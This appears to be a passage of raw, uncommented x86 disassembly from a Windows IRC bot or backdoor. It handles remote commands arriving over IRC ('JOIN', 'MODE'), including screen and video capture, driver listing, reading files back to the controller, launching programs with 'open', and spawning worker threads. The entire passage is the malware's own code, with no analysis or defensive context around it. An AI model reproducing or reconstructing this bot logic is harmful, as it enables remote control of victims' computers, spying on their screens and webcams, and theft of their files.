[ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2660C90h test eax, eax jnz short loc_40844C push offset unk_42A010 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FF4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 26A0000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429FBC push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 2670F10h jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 26807C8h push eax push offset dword_429F80 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F38 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2670F10h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429F14 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429EFC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429EC8 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E94 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2670F10h jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call near ptr 26807C8h nop push eax push offset unk_429E58 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429E2C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2670F10h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 26807C8h push eax push offset dword_429DF0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DE8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DD4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B48C push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429DB8 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429DB0 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D94 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D78 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D50 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C964 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D44 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2670F10h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D30 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A464 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429D14 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CF4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CD4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429CAC push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C7C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C60 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429C2C push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BFC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429BC0 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFD4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B90 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B68 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B34 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429B00 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429AC8 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A94 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A54 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_429A14 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299F0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_4299CC jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_4299C8 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42999C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429984 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429964 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429948 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429930 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 2670F10h jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call near ptr 26807C8h nop push eax push offset unk_4298F0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298D8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_4298B4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2670F10h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] nop call near ptr 268018Eh test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429898 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A0A0 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429874 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429844 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_429824 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297D4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CB028 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB030 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_4297AC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429784 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429764 jmp loc_406CCF ; --------------------------------------------------------------------------- 